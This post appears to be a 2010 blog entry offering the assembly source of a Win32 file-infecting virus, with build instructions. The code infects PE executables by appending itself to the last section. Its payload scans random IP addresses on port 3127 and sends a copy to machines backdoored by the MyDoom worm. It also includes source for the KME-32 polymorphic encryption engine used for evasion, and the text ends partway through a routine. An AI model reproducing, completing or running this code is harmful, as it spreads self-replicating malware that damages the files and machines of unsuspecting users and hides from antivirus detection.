-=[ D4wFl1N ]=-: September 2010

;compile with:
;TASM32 /M /ML VIRUS.ASM
;TLINK32 VIRUS.OBJ,,,IMPORT32.LIB

.586
.model flat
locals

ofs equ offset
by equ byte ptr
wo equ word ptr
dwo equ dword ptr

include pe.inc
include mz.inc
include win32api.inc
include useful.inc

.data

virus_main:
;setup stack to return to host later
push ofs __ret
  original_entrypoint equ $-4

;retrieve kernel32.dll base

mov eax,[esp.Arg1]
  @@search:
xor ax,ax
   cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
   jnz @@nopeheader
   mov ecx,[eax.MZ_lfanew]
   cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
   jz @@found
  @@nopeheader:
   dec eax
   jmp @@search
  @@found:

;get all APIs the virus need

call get_k32_apis

;infect files

call infect_files

;scare user

call payload

;return to host
ret

;secret routine

delta:
call @@delta
  @@delta:
pop ebp
sub ebp, ofs @@delta
ret

API macro s
_&s dd 0
CHASH &s
endm

CHASH macro s
hash = 0
   irpc c, (s)
hash = ((hash shl 7) and 0FFFFFFFFh) or (hash shr (32-7))
   hash = hash xor '&c'
   endm
   dd hash
endm

COMPARE macro
LOCAL @@calc_hash
   pushad
lodsd
mov esi,[ebx]
   xor edx, edx
  @@calc_hash:
rol edx, 7
   xor dl,[esi.ebp]
   inc esi
   cmp by [esi.ebp],0
   jne @@calc_hash
   sub eax,edx
popad
endm

GONEXT macro
lodsd
endm

X_PUSH macro r, x
   xor r, r
   _reg = 0
   _xsize = 0
   l = 0
   irpc c,
   l = l + 1
   endm
   j = 0
   s = 0
   l0 = l
   if (l0 and 3) ne 0
   j = j shl 8 + "x"
   s = s + 8
   l0 = l0 + 1
   endif
   if (l0 and 3) ne 0
   j = j shl 8 + "y"
   s = s + 8
   l0 = l0 + 1
   endif
   if (l0 and 3) ne 0
   j = j shl 8 + "z"
   s = s + 8
   l0 = l0 + 1
   endif
   q = 0
   i = l - 1
   irpc c1,
   t = 0
   irpc c,
   k = "&c"
   if k eq "~" ;zero
   k = 0
   endif
   if k eq "|" ;space
   k = 32
   endif
   if k eq "ö" ;cr
   k = 13
   endif
   if k eq "õ" ;lf
   k = 10
   endif
   if t eq i
   j = j shl 8
   if k ne 0
   j = j + k
   endif
   s = s + 8
   if s eq 32
   _xsize = _xsize + 4
   if q eq 0
sub r, _reg - j
   endif
   if (q eq 1) or (q eq 3)
   xor r, _reg xor j
   endif
   if q eq 2
   add r, j - _reg
   endif
   push r
   _reg = j
   q = q + 1
   if q eq 4
   q = 0
   endif
   s = 0
   j = 0
   endif
   exitm
   endif
   t = t + 1
   endm l irpc
   i = i - 1
   endm
   if s ne 0
   error
   endif
endm

X_POP macro
   lea esp, [esp + _xsize]
endm

WORKSIZE EQU 256*1024

;map the file in memory, and check if is a infectable PE file

map_infect:
pushad

call delta

   mov edi,[esp.cPushad.Pshd.WFD_nFileSizeLow]
lea esi,[esp.cPushad.Pshd.WFD_szFileName]

;first of all, remove file attribute

   push FILE_ATTRIBUTE_NORMAL
   push esi
   call [ebp+_SetFileAttributesA]
   test eax,eax
   jz @@error

;check if file is already infected (file size / 16 = 13)

   mov eax,edi
   and eax,15
xor eax,13
jz @@error_fixatt

;open file

   push 0
   push FILE_ATTRIBUTE_NORMAL
   push OPEN_EXISTING
   push 0
   push FILE_SHARE_READ
   push GENERIC_WRITE+GENERIC_READ
   push esi
   call [ebp+_CreateFileA]
   mov ebx,eax
   inc eax
   jz @@error_fixatt

add edi,WORKSIZE

;create map

   push 0
   push edi
   push 0
   push PAGE_READWRITE
   push 0
   push ebx
   call [ebp+_CreateFileMappingA]
   test eax,eax
   jz @@close_file
mov edi,eax

;map file

   push 0
   push 0
   push 0
   push FILE_MAP_ALL_ACCESS
   push edi
   call [ebp+_MapViewOfFile]
   test eax, eax
   je @@close_map

   push eax

;check if the file is in PE file format

   cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
   jnz @@close_view

   mov ecx,[eax.MZ_lfanew]
   cmp ecx,[esp.cPushad.Pshd.WFD_nFileSizeLow+4]
jae @@close_view

   cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
   jnz @@close_view

;and check if it is infectable

   cmp [ecx+eax.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
   jnz @@close_view

   cmp [ecx+eax.NT_OptionalHeader.OH_Magic],IMAGE_NT_OPTIONAL_HDR_MAGIC
   jnz @@close_view

   movzx ecx,[ecx+eax.NT_FileHeader.FH_Characteristics]

   test ecx,IMAGE_FILE_EXECUTABLE_IMAGE+IMAGE_FILE_32BIT_MACHINE
   jz @@close_view

   test ecx,IMAGE_FILE_SYSTEM+IMAGE_FILE_DLL
   jnz @@close_view

;infect file!

mov ecx,[esp.cPushad.Pshd.WFD_nFileSizeLow.Pshd]
call infect_image

;mark file as infected

add eax,15
   and eax,not 15
   add eax,13
mov [esp.cPushad.Pshd.WFD_nFileSizeLow.Pshd],eax

  @@close_view:
   call [ebp+_UnmapViewOfFile]

  @@close_map:
   push edi
   call [ebp+_CloseHandle]

;set new file size

   push NULL
   push NULL
   push dwo [esp.cPushad.Pshd.WFD_nFileSizeLow.(Pshd*2)]
   push ebx
   call [ebp+_SetFilePointer]

   push ebx
   call [ebp+_SetEndOfFile]

;restore time/date stamp

  @@close_file:
   lea eax,[esp.cPushad.Pshd.WFD_ftLastWriteTime.FT_dwLowDateTime]
   push eax
add eax,8
   push eax
add eax,8
   push eax
   push ebx
   call [ebp+_SetFileTime]

   push ebx
   call [ebp+_CloseHandle]

;restore file attributes

  @@error_fixatt:
   push [esp.cPushad.Pshd.WFD_dwFileAttributes]
   push esi
   call [ebp+_SetFileAttributesA]

  @@error:
popad
ret

;infect file by increasing the last file section

infect_image:
pushad
   mov ebp,eax

;calculate last section header position (the one we will increase)

   mov esi,[ebp.MZ_lfanew]
   add esi,ebp
   movzx eax,wo [esi.NT_FileHeader.FH_NumberOfSections]
   imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
lea edi,[esi.eax+(size IMAGE_NT_HEADERS-IMAGE_SIZEOF_SECTION_HEADER)]

   mov ebx,[edi.SH_SizeOfRawData]
   mov edx,ebx
add ebx,[edi.SH_VirtualAddress]
add edx,[edi.SH_PointerToRawData]

;set new entrypoint

   xchg ebx,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
   add ebx,[esi.NT_OptionalHeader.OH_ImageBase]

;modify section values to virus needs

   mov dwo [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA+IMAGE_SCN_MEM_READ+IMAGE_SCN_MEM_WRITE

   call get_virus_size
   add eax,[edi.SH_SizeOfRawData]
   mov ecx,[esi.NT_OptionalHeader.OH_FileAlignment]
   dec ecx
   add eax,ecx
   not ecx
   and eax,ecx
   mov [edi.SH_SizeOfRawData],eax

add eax,[edi.SH_PointerToRawData]
mov [esp.Pushad_eax],eax

   call get_virus_size
   add eax,[edi.SH_VirtualSize]
   mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
   dec ecx
   add eax,ecx
   not ecx
   and eax,ecx
   mov [edi.SH_VirtualSize],eax

add eax,[edi.SH_VirtualAddress]
   mov [esi.NT_OptionalHeader.OH_SizeOfImage],eax

push esi
   mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]

call @@delta
  @@delta:
   pop esi
   sub esi,ofs @@delta-ofs virus_main

   mov dwo [esi+(ofs original_entrypoint-ofs virus_main)],ebx

;call encryption routine

   mov ecx,virus_size
lea edi,[edx+ebp]
   call encrypt

;fix the entrypoint, in case that the encryption changed it

   pop esi
   add [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax

popad
ret

;scan for machines infected by mydoom worm, and upload/run a copy of virus

payload:
pushad

;get dll

X_PUSH eax,WS2_32.DLL~
push esp
call delta
   call [ebp+_LoadLibraryA]
   X_POP

;get the api

call @@apiimport
API WSAStartup
API socket
API connect
API send
dd -1
  @@apiimport:
   pop esi
call get_apis

;init internet

sub esp,200h
push esp
push 1
call [ebp+_WSAStartup]

;get the name of a infected file(current one)

mov esi,esp
push 200h
push esi
push 0
call [ebp+_GetModuleFileNameA]

;open infected file

   push 0
   push FILE_ATTRIBUTE_NORMAL
   push OPEN_EXISTING
   push 0
   push FILE_SHARE_READ
   push GENERIC_READ
   push esi
   call [ebp+_CreateFileA]
   mov ebx,eax
   inc eax
   jnz @@open_ok
sub esp,4*4
jmp @@exit
  @@open_ok:

push 0
push ebx
call [ebp+_GetFileSize]
xchg eax,esi

;alloc memory for infected file

push 0
mov ecx,esp
push 0
push ecx
push esi

add esi,5
push esi
push 40h
call [ebp+_GlobalAlloc]
xchg eax,edi

;build mydoom protocol header

mov eax,09e3c1385h
stosd
mov al,0a2h
stosb

;read infected file

push edi
push ebx
call [ebp+_ReadFile]

push ebx
call [ebp+_CloseHandle]

;setup paramters for thread

sub edi,5
push edi
push esi
mov ebx,esp

;create a new thread

sub eax,eax
push eax
push esp
push eax
push ebx
call @@scanner
jmp inet_thread
  @@scanner:
push eax
push eax
call [ebp+_CreateThread]

;give the new thread time to get params

push 1000
call [ebp+_Sleep]

;free mem(stack) and exit

  @@exit:
add esp,200h+4*4
popad
ret

;scan internet in search for machines infected by mydoom

inet_thread:
mov esi,[esp.Arg1]
mov edi,[esi]
lodsd
mov esi,[esi]

;create socket

push 0
push 1
push 2
call delta
call [ebp+_socket]
xchg ebx,eax
  @@next_ip:

;generate a random IP
   call [ebp+_GetTickCount]

   push 0
   push 0
   push eax
   push 370C0002h ;port 3127
   mov eax,esp

;found a mydoom infected machine?

push 16
push eax
push ebx
   call [ebp+_connect]
   add esp,4*4
   test eax,eax
jnz @@continue

;yeah! infect it!

push 0
push edi
push esi
push ebx
call [ebp+_send]

  @@continue:
push 1000
call [ebp+_Sleep]
jmp @@next_ip

MAXSIZE EQU 96*1024

;return virus size

get_virus_size:
mov eax, MAXSIZE
ret

;setup parameters to calling KME

encrypt:
sub eax,eax
pushad

push eax ;flags
push CMD_ALL
push CMD2_ALL
push REG_ALL
push 50 ;jmp prob
lea ecx,[esp.Pushad_eax+4*5]
push ecx
push eax ;ptr2size
push -1 ;rndfill
push MAXSIZE
push edi
push ofs kme_stub-ofs virus_main ;i_entry
push virus_size
push esi
push eax
push eax
push eax ;virus rva
push eax
push eax
call delta
call [ebp+_GetTickCount]
push eax ;rndseed
push 1
push 0
call kme_main
add esp,4*KME_N_ARGS

popad
ret

;this stub is the entry, in virus, for the KME crypted hosts. it setup the
;stack, thats need to find kernel32.dll imagebase

kme_stub:
push dwo [esp+((virus_size+3)/4)*4]
jmp virus_main

;KME-32 v5.52 -- Kewl Mutation Engine -- SOURCE

C_EIP_MAX_ITER equ 10000 ; these parameters used to
C_EIP_TOP equ 64 ; find new JMP location
C_EIP_BOTTOM equ 64
C_EIP_PREV equ 20
C_EIP_NEXT equ 40

C_MAX_SUB equ 32 ; max # of subroutines

testcmd macro fl, lbl
   test cmdavail, fl
   jz lbl
   endm

testcmd2 macro fl, lbl
   test cmdavail2, fl
   jz lbl
   endm

flagsz macro fl, lbl
   test flags, fl
   jz lbl
   endm

flagsnz macro fl, lbl
   test flags, fl
   jnz lbl
   endm

; ---------------------------------------------------------------------------

kme_main proc c

   ; parameters -- pushed in reversed order

   arg tempbufptr:DWORD; NULL or ptr, size == o_max
   arg nlayer:DWORD ; # of layers to build
   arg randseed:DWORD ; push GetTickCount() here
   arg regsave:DWORD ; push/pop regs at prolog/epilog
   arg original_rva:DWORD ; original entry RVA
   arg vir_rva:DWORD ; virus in-file RVA
   arg exitregptr:DWORD ; 0 or pointer to 8 dwords
   arg initregptr:DWORD ; 0 or pointer to 8 dwords
   arg i_offs:DWORD ; virus offset
   arg i_size:DWORD ; virus size
   arg i_entry:DWORD ; virus entry (relative)
   arg o_offs:DWORD ; output offset
   arg o_max:DWORD ; output max buf size
   arg o_fillchar:DWORD; character to fill out buf
   arg po_size:DWORD ; 0 or pointer to out buf size
   arg po_entry:DWORD ; 0 or pointer to out entry (rel.)
   arg jmp_prob:DWORD ; JMPs if rnd(jmp_prob)==0
   arg regavail:DWORD ; register set (REG_XXX)
   arg cmdavail2:DWORD ; adv. command set (CMD2_XXX)
   arg cmdavail:DWORD ; command set (CMD_XXX)
   arg flags:DWORD ; flags (FLAG_XXX)

   ; local variables
   local save_esp:DWORD
   local save_ebp:DWORD

   ;; "state" (size is DWORD-aligned)
   ;; state should be preserved when genereating subs
   local state_end:DWORD
   local regused:DWORD ; set of used registers
   local reginit:DWORD ; set of initialized registers
   local em_reg:DWORD:8 ; register values (emulation)
   local regbuf:BYTE:8 ; indexes of regs to be pushed
   local state_begin:DWORD
   ;;

   local in_subroutine:BYTE ; inside-of-subroutine
   local tempo:DWORD ; use in ifollow/rfollow only
   local p_count:DWORD ; # of generated subs
   local p_addr:DWORD:C_MAX_SUB
   local p_stack:BYTE:C_MAX_SUB
   local p_conv:BYTE:C_MAX_SUB

   local jxxcond:BYTE:16 ; flags, in perverted form
   local fpuinit:BYTE
   local fpustack:BYTE
   local n_pushed:DWORD ; size of pushed stuff

   local randseed2:DWORD ; for 2nd randomer
   local po_size_ml:DWORD
; local debug_counter:DWORD
   local restartcount:DWORD
   local t_entry:DWORD
   local t_size:DWORD

   pusha
   cld

   mov save_esp, esp ; to jmp to @@error from subs
   mov save_ebp, ebp

   cmp nlayer, 1
   jne @@multilayer

   flagsz FLAG_RANDOMSTRATEGY, @@skiprnds
   call rnd_dword
   mov regavail, eax
   call rnd_dword
   mov cmdavail, eax
   call rnd_dword
   mov cmdavail2, eax
@@skiprnds:

; check jmp_prob
   cmp jmp_prob, 0
   jne @@jp
   mov eax, 20-10+1 ; 10..20
   call rnd_eax
   add eax, 10
   mov jmp_prob, eax
@@jp:
; check o_fillchar
   cmp o_fillchar, -1
   jne @@ofc
   call rnd_byte
   mov o_fillchar, eax
@@ofc:

; fix regavail -- check if no registers given
   and regavail, REG_ALL ; clear ESP if set
   jnz @@regok
   or regavail, REG_DEFAULT
@@regok:
   and regsave, REG_ALL

   flagsz FLAG_ONLY386, @@skip1
   and cmdavail, not (CMD_BSWAP+CMD_XADD)
@@skip1:
   mov edi, o_offs ; fill output buffer
   mov ecx, o_max
   mov eax, o_fillchar
   rep stosb

   mov in_subroutine, cl
   mov p_count, ecx
   mov fpuinit, cl
   mov fpustack, cl
   mov n_pushed, ecx
; mov debug_counter, ecx

   ; initialize bitsets: registers initialized/used
   mov reginit, ecx
   mov regused, ecx

   ; init 2nd randomer
   mov esi, i_offs
   mov ecx, i_size
   xor edx, edx
@@xorcycle: lodsb
   xor dl, al
   add dl, al
   rol edx, 1
   loop @@xorcycle
   mov randseed2, edx

   ; while generation, EDI contains current outpointer
   mov edi, o_offs

   ; if need jmps & (not FLAG_EIP0) select random EDI
   flagsnz FLAG_EIP0+FLAG_NOJMPS, @@skipnew
   cmp po_entry, 0
   je @@skipnew
   call @@find_new_eip
@@skipnew:

   ; calculate decryptor entry point
   mov ecx, po_entry
   jecxz @@skip_retentry
   mov eax, edi
   sub eax, o_offs
   mov [ecx], eax
@@skip_retentry:
   add i_size, 3 ; i_size: align 4
   and i_size, not 3

   call @@int3 ; add INT3 if FLAG_DEBUG

   ; set initial register values

   cmp initregptr, 0
   je @@ir_done

   xor ebx, ebx
@@ir_cycle: bt regavail, ebx
   jnc @@ir_cont
   mov edx, initregptr
   mov edx, [edx+ebx*4]
   cmp edx, -1
   je @@ir_cont
   mov em_reg[ebx*4], edx
   bts reginit, ebx
@@ir_cont: inc ebx
   cmp bl, 8
   jb @@ir_cycle
@@ir_done:
   ; push regsave[]

   push regavail
   mov ebx, regsave
   not ebx
   and regavail, ebx
   not ebx
   or regused, ebx
@@1_push_loop: bsf eax, ebx
   jz @@1_push_done
   btr ebx, eax
   bt dword ptr [esp], eax
   jnc @@1x
   bts regavail, eax
@@1x: btr regused, eax
   call @@eip
   add al, 50h
   stosb
   call @@garbage_10
   jmp @@1_push_loop
@@1_push_done: pop regavail
   ;;

   ; ECX contains number of elements in regbuf
   xor ecx, ecx

   call @@garbage_10 ; add "logic" command

;;

@@main_cycle: ; main encryption cycle

; push ecx
; inc debug_counter
; and debug_counter, 63
; jnz @@nodbg
; xor ecx, ecx
;@@dbgccl: bt reginit, ecx
; jnc @@nodbgchk
; mov ax, 0F881h ; cmp r32,xxxxxxxx
; or ah, cl
; stosw
; mov eax, em_reg[ecx*4]
; stosd
; mov ax, 0FE75h ; jne $
; stosw
; call @@eip
;@@nodbgchk: inc ecx
; and ecx, 7
; jnz @@dbgccl
;@@nodbg: pop ecx

   call @@poly_cmd ; add "logic" command

   ; get next dword (backward)
   sub i_size, 4
   mov edx, i_size
   add edx, i_offs ; get dword into EDX
   mov edx, [edx]

   flagsnz FLAG_NOREPEATPUSH, @@skip666
   xor ebx, ebx
@@search_value: cmp em_reg[ebx*4], edx ; a register already have the value we
   jnz @@no_equal ;need?
   bt reginit, ebx ;...and is initialized?
   jc @@put_in_pushqueue ;yeah! so, put in push queue
@@no_equal: inc ebx
   cmp bl, 8
   jnz @@search_value
@@skip666:

   call @@get_init_reg ; select/initialize rnd reg
   jc @@error_assert
   xchg ebx, eax

   ; push registers until register in EBX become free
   call @@push_uptoebx

   call @@gen_value ; make em_reg[EBX] equal to EDX
@@put_in_pushqueue:
   bts regused, ebx ; mark reg in EBX as used
   mov regbuf[ecx], bl ; store EBX as ready to push
   inc ecx

   flagsnz FLAG_NOREPEATPUSH, @@no_flush
   cmp ecx, 8
   ja @@error_assert
   jb @@no_flush
   call @@push_1 ; prevent queue from overflow
@@no_flush:
   cmp i_size, 0 ; until we still have dwords
   jg @@main_cycle ; in inputstream

;;

   call @@push_all ; push all unpushed registers

   call @@epilog ; "epilog" code -- JMP/CALL ESP

   ; calculate size of generated decryptor
   sub edi, o_offs
   flagsnz FLAG_NOJMPS, @@nj
   mov edi, o_max
@@nj:
   mov ecx, po_size
   jecxz @@skip_osize
   mov [ecx], edi
@@skip_osize:

@@success_exit:
   mov eax, 1 ; EAX=1 - all ok

@@eax_exit: mov [esp+7*4], eax

   dec eax ; success?
   jz @@skipccfill1
   ; fill output buffer on error
   mov edi, o_offs
   mov ecx, o_max
   mov eax, o_fillchar
   cld
   rep stosb
@@skipccfill1:
   ; fill tempbuf on exit
   mov edi, tempbufptr
   or edi, edi
   jz @@skipccfill2
   mov ecx, o_max
   mov eax, o_fillchar
   cld
   rep stosb
@@skipccfill2:
   popa ; retore regs & exit
   ret

@@error_assert: mov eax, KME_ERROR_ASSERT
   jmp @@error_eax
@@error_nomemory: mov eax, KME_ERROR_NOMEMORY
   jmp @@error_eax
@@error_badarg: mov eax, KME_ERROR_BADARG
; jmp @@error_eax

@@error_eax: mov esp, save_esp ; rest. ESP (if call from sub)
   mov ebp, save_ebp
   jmp @@eax_exit

; ===================== subroutines =========================================

; add INT3 command (if FLAG_DEBUG)
@@int3: flagsz FLAG_DEBUG, @@skip_debug
;@@int3_do:
   push eax
   mov al, 0CCh
   stosb
   pop eax
@@skip_debug: retn

; ---------------------------------------------------------------------------

   ; push 1 register
   ; (indexes stored in regbuf, count in ECX)

@@push_1: jecxz @@nothing2push

   add n_pushed, 4
   dec ecx ; decr. num of regs in regbuf
   movzx eax, regbuf ; read 1 byte
   pusha ; delete 1st entry in regbuf
   lea esi, regbuf+1
   lea edi, regbuf
   movsd ; just 8 bytes
   movsd
   popa

   flagsnz FLAG_NOREPEATPUSH, @@free_it
   jecxz @@free_it
   pushad
   lea edi, regbuf ;scan push queue for the register we just pushed...
   repne scasb ;it appear once again? so dont free
   popad
   je @@dont_free_yet
@@free_it:
   btr regused, eax ; mark register as free
@@dont_free_yet:
   call @@eip ; add JMP
   push eax
   add al, 50h ; PUSH reg
   stosb
   pop eax

   push regused
   bts regused, eax
   call @@poly_cmd ; "logic" command
   pop regused

@@nothing2push:
   retn

   ; push all registers
   ; (indexes stored in regbuf, count in ECX)

@@push_all: jecxz @@push_all_done
   call @@push_1
   jmp @@push_all
@@push_all_done: retn

   ; push registers up to pointed by EBX
   ; (indexes stored in regbuf, count in ECX)

@@push_uptoebx: bt regused, ebx
   jnc @@ebx_free
   call @@push_1
   jmp @@push_uptoebx
@@ebx_free: retn

; ===========================================================================

   ; "epilog" code --
   ; -- load regs and CALL ESP in perverted form

@@epilog: call @@garbage_10 ; "logic"

   cmp regused, 0
   jne @@error_assert

   flagsz FLAG_X_NORET, @@continue_epilog
   call @@epilog_regs
   jmp @@ret_from_epilog
@@continue_epilog:
   call @@get_free_reg ; get free rnd reg
   jc @@error_assert
   xchg ecx, eax
   btr regavail, ecx ; to avoid usage in logic;
   btr reginit, ecx ; value unknown (ESP)

   call @@eip ; JMP

   mov ax, 0E089h ; mov reg1, esp
   add ah, cl
   stosw

   call @@garbage_10

   call @@get_free_reg ; get free rnd
   jnc @@morethan1reg

; if we have only 1 register

@@1reg:
   cmp i_entry, 0
   je @@skipadd1
   call @@eip ; JMP
   mov ax, 0C081h ; add reg1, i_entry
   add ah, cl
   stosw
   mov eax, i_entry
   stosd
@@skipadd1:
   ; cant emul - ESP unknown

   jmp @@1ornot

; if we have more than 1 register

@@morethan1reg: xchg ebx, eax
   bts regused, ebx ; mark as used

   mov edx, i_entry ; reg2 <-- i_entry
   call @@gen_value

   call @@garbage_10

   call rnd_zf
   jz @@skip_xchg
   ; lets do vise versa: add reg2, reg1
   bts regavail, ecx ; free reg1
   btr regavail, ebx
   btr reginit, ebx ; value becomes unknown
   xchg ecx, ebx ; invert register usage
@@skip_xchg:
   btr regused, ebx

   call @@eip ; JMP
   mov ax, 0C001h ; add reg1, reg2
   or ah, cl
   shl bl, 3
   or ah, bl
   stosw

   ; cant emul - ESP unknown
@@1ornot:
   call @@garbage_10

   ;; does reg1 value should be passed into virus?
   mov eax, exitregptr
   or eax, eax
   jz @@skipchk
   cmp dword ptr [eax+ecx*4], -1
   je @@skipchk
   flagsnz FLAG_X_CALLESP, @@push_ret
@@skipchk: ;;

   flagsnz FLAG_X_CALLESP, @@calljmp

   call rnd_zf
   jz @@calljmp

@@push_ret: lea eax, [ecx+50h] ;push reg1
   stosb

   bts regavail, ecx
   btr regused, ecx ; free reg1

   call @@garbage_10

   call @@epilog_regs

   call @@eip

   flagsnz FLAG_X_CALLESP, @@callddesp

   mov al, 0c3h ; ret
   stosb

   jmp @@lwo

@@callddesp: mov ax, 14FFh ; call dword ptr [esp]
   stosw
   mov al, 24h
   stosb

   add n_pushed, 4

   jmp @@lwo

@@calljmp: call @@epilog_regs
   call @@eip

   mov ax, 0E0FFh ; JMP
   flagsz FLAG_X_CALLESP, @@itsjmp
   mov ah, 0D0h ; CALL
@@itsjmp:
   add ah, cl
   stosw

   bts regavail, ecx
   btr regused, ecx ; free reg1
@@lwo:
   mov reginit, 0 ; all values become unknown
   mov regused, 0 ; and free

   call @@garbage_10

   flagsz FLAG_X_CALLESP, @@ret_from_epilog ; was JMP ?

   call @@eip
   mov ax, 0C481h ; add esp, xxxx
   stosw
   mov eax, n_pushed
   stosd

   call @@garbage_10

   ;;
   mov ebx, regsave
@@1_pop_loop: bsr eax, ebx
   jz @@1_pop_done
   btr ebx, eax
   call @@eip
   btr regavail, eax
   btr reginit, eax
   add al, 58h ; pop
   stosb
   call @@poly_cmd
   jmp @@1_pop_loop
@@1_pop_done: ;;

@@skip_popregs:
   call @@eip

   flagsnz FLAG_X_RETBYJMP, @@rbj

   flagsnz FLAG_X_RET0C, @@r0C

   call @@eip
   mov al, 0C3h ; retn
   stosb

   jmp @@ret_from_epilog
@@rbj:
   mov al, 0E9h
   stosb
   lea eax, [edi+4]
   sub eax, o_offs
   add eax, vir_rva
   sub eax, original_rva
   neg eax
   stosd
@@ret_from_epilog:
   call @@garbage_10

   retn ; @@epilog

@@r0C: mov regavail, REG_EAX
   mov reginit, 0
   mov regused, 0
   call @@poly_cmd
   xor eax, eax
   call @@reg_init_eax
   xor ebx, ebx ; eax
   mov edx, 1 ; 1
   call @@gen_value
   bts regused, eax ; v5.50 bugfix
   call @@poly_cmd

   call @@eip
   mov al, 0C2h ; ret 0Ch
   stosb
   mov ax, 000Ch
   stosw

   jmp @@ret_from_epilog

@@epilog_regs: cmp exitregptr, 0
   je @@er_ret

   xor ebx, ebx

@@er_cycle: bt regavail, ebx
   jnc @@er_cont

   mov edx, exitregptr
   mov edx, [edx+ebx*4]
   cmp edx, -1
   je @@er_cont

   call @@gen_value ; em_reg[ebx*4] <-- edx
   bts regused, ebx

   call @@poly_cmd

@@er_cont: inc ebx
   cmp bl, 8
   jb @@er_cycle

@@er_ret: call @@int3

   retn

@@garbage_10: mov eax, 10

@@multi_garbage: call rnd_eax
   jz @@mg_ret
@@gen_garbage: call @@poly_cmd
   dec eax
   jnz @@gen_garbage
@@mg_ret: retn

; ===========================================================================

   ; this subroutine makes em_reg[EBX] equal to EDX

@@gen_value:
   ; use XOR if noone specified
   testcmd CMD_XOR+CMD_ADD+CMD_SUB+CMD_AND+CMD_OR, @@rdef

@@gen_value_restart: mov eax, 5 ; EAX=#
   call rnd_eax

   jz @@r0 ; sub dispatch
   dec eax
   jz @@r1 ; add

   dec eax ; and
   jz @@r3
   dec eax ; or
   jz @@r4

   ; xor
@@r2: testcmd CMD_XOR, @@gen_value_restart
@@rdef: xor edx, em_reg[ebx*4] ; emul -- xor reg, c
   xor em_reg[ebx*4], edx
   mov eax, 35F081h ; opcodes
   jmp @@store_cmd

@@r1: testcmd CMD_ADD, @@gen_value_restart
   sub edx, em_reg[ebx*4] ; emul -- add reg, c
   add em_reg[ebx*4], edx
   mov eax, 05C081h ; opcodes
   jmp @@store_cmd

@@r0: testcmd CMD_SUB, @@gen_value_restart
   sub edx, em_reg[ebx*4] ; emul -- sub reg, c
   neg edx
   sub em_reg[ebx*4], edx
   mov eax, 2dE881h ; opcodes

@@store_cmd: or edx, edx ; skip zero-argument
   jz @@rt
@@store_cmd_even0:
   call @@eip ; JMP

   flagsnz FLAG_NOSHORT, @@long ; if skip short opcs

   or ebx, ebx ; use short form for EAX
   jnz @@long
   shr eax, 16

@@short: stosb ; store 1-byte opcode
   jmp @@shortorlong

@@long: add ah, bl ; store 2-byte opcode
   stosw

@@shortorlong: xchg edx, eax ; store argument (EDX)
   stosd

@@rt: retn

@@r3: testcmd CMD_AND, @@gen_value_restart

   ; em_reg and ? = edx
   ; 0 * 0
   ; 0 - 1
   ; 1 0 0
   ; 1 1 1

   mov eax, em_reg[ebx*4] ; em_reg and ? = edx
   and eax, edx ; 0 none 1
   cmp eax, edx
   jne @@rdef ; gen_value_restart

   call rnd_dword ; em_reg and ? = edx
   not em_reg[ebx*4] ; 0 any 0
   and eax, em_reg[ebx*4]
   not em_reg[ebx*4]
   ; em_reg and ? = edx
   xor edx, eax ; 1 copy 0/1

   and em_reg[ebx*4], edx

   mov eax, 25E081h
   jmp @@store_cmd_even0

@@r4: testcmd CMD_OR, @@gen_value_restart

   ; em_reg or ? = edx
   ; 0 0 0
   ; 0 1 1
   ; 1 - 0
   ; 1 * 1

   mov eax, edx ; em_reg or ? = edx
   and eax, em_reg[ebx*4] ; 1 none 0
   cmp eax, em_reg[ebx*4]
   jne @@rdef ; gen_value_restart

   call rnd_dword ; em_reg or ? = edx
   and eax, em_reg[ebx*4] ; 1 * 1

   xor edx, eax

   or em_reg[ebx*4], edx

   mov eax, 0DC881h
   jmp @@store_cmd

; ===================== register selection management =======================

   ; get random register
@@get_rnd_reg: cmp regavail, 0
   je @@get_rnd_reg_err
   call rnd_8
   bt regavail, eax ; "regavail" set only
   jnc @@get_rnd_reg
   clc
   retn
@@get_rnd_reg_err: mov eax, -1
   stc
   retn

; ---------------------------------------------------------------------------

   ; get random initialized register
@@get_init_reg: call @@get_rnd_reg ; get random reg
   jc @@get_init_reg_err
   call @@reg_init_eax ; initialize it (if not yet)
   clc ; v5.50 bugfix
@@get_init_reg_err: retn

; ---------------------------------------------------------------------------

   ; check register & initialize it if uninitialized yet
   ; used 'coz initially em_reg[0..7] is unknown

@@reg_init_eax: bts reginit, eax ; initialized?
   jc @@reg_init_retn

   push ebx
   mov ebx, eax

   call @@eip ; JMP

   call rnd_3
   jz @@init_pushpop
   dec eax
   jz @@init_xorsub

@@init_mov: mov al, 0B8h ; MOV r, c
   or al, bl
   stosb
   call rnd_dword
   mov em_reg[ebx*4], eax ; store initial em_reg[]
   stosd

@@init_done: xchg ebx, eax
   pop ebx

@@reg_init_retn: retn

@@init_pushpop: testcmd CMD_PUSHPOP, @@init_mov

   mov al, 68h
   stosb
   call rnd_dword
   mov em_reg[ebx*4], eax ; store initial em_reg[]
   stosd

   call @@eip
   lea eax, [ebx+58h]
   stosb

   jmp @@init_done

@@init_xorsub: testcmd CMD_XOR, @@_sub
   mov al, 31h ; xor
   call rnd_zf
   jz @@_xor
@@_sub: testcmd CMD_SUB, @@init_mov
   mov al, 29h ; sub
@@_xor: flagsnz FLAG_NOSWAP, @@_v0
   call rnd_zf
   jz @@_v0
   xor al, 2
@@_v0: stosb
   mov al, bl
   shl al, 3
   or al, bl
   or al, 0C0h
   stosb

   mov em_reg[ebx*4], 0

   call @@do_incdec
   call @@do_incdec

   jmp @@init_done

@@do_incdec: call rnd_zf
   jz @@_v3

   call @@eip

   call rnd_zf
   jz @@_v2

@@_v1: testcmd CMD_INC, @@_v3
   inc em_reg[ebx*4]
   mov al, 40h ; inc
   or al, bl
   stosb
   jmp @@_v3

@@_v2: testcmd CMD_DEC, @@_v3
   dec em_reg[ebx*4]
   mov al, 48h ; dec
   or al, bl
   stosb

@@_v3: retn

; ---------------------------------------------------------------------------

   ; get random initialized register marked as "free"
@@get_free_reg: mov eax, regused ; 2+4
   and eax, regavail
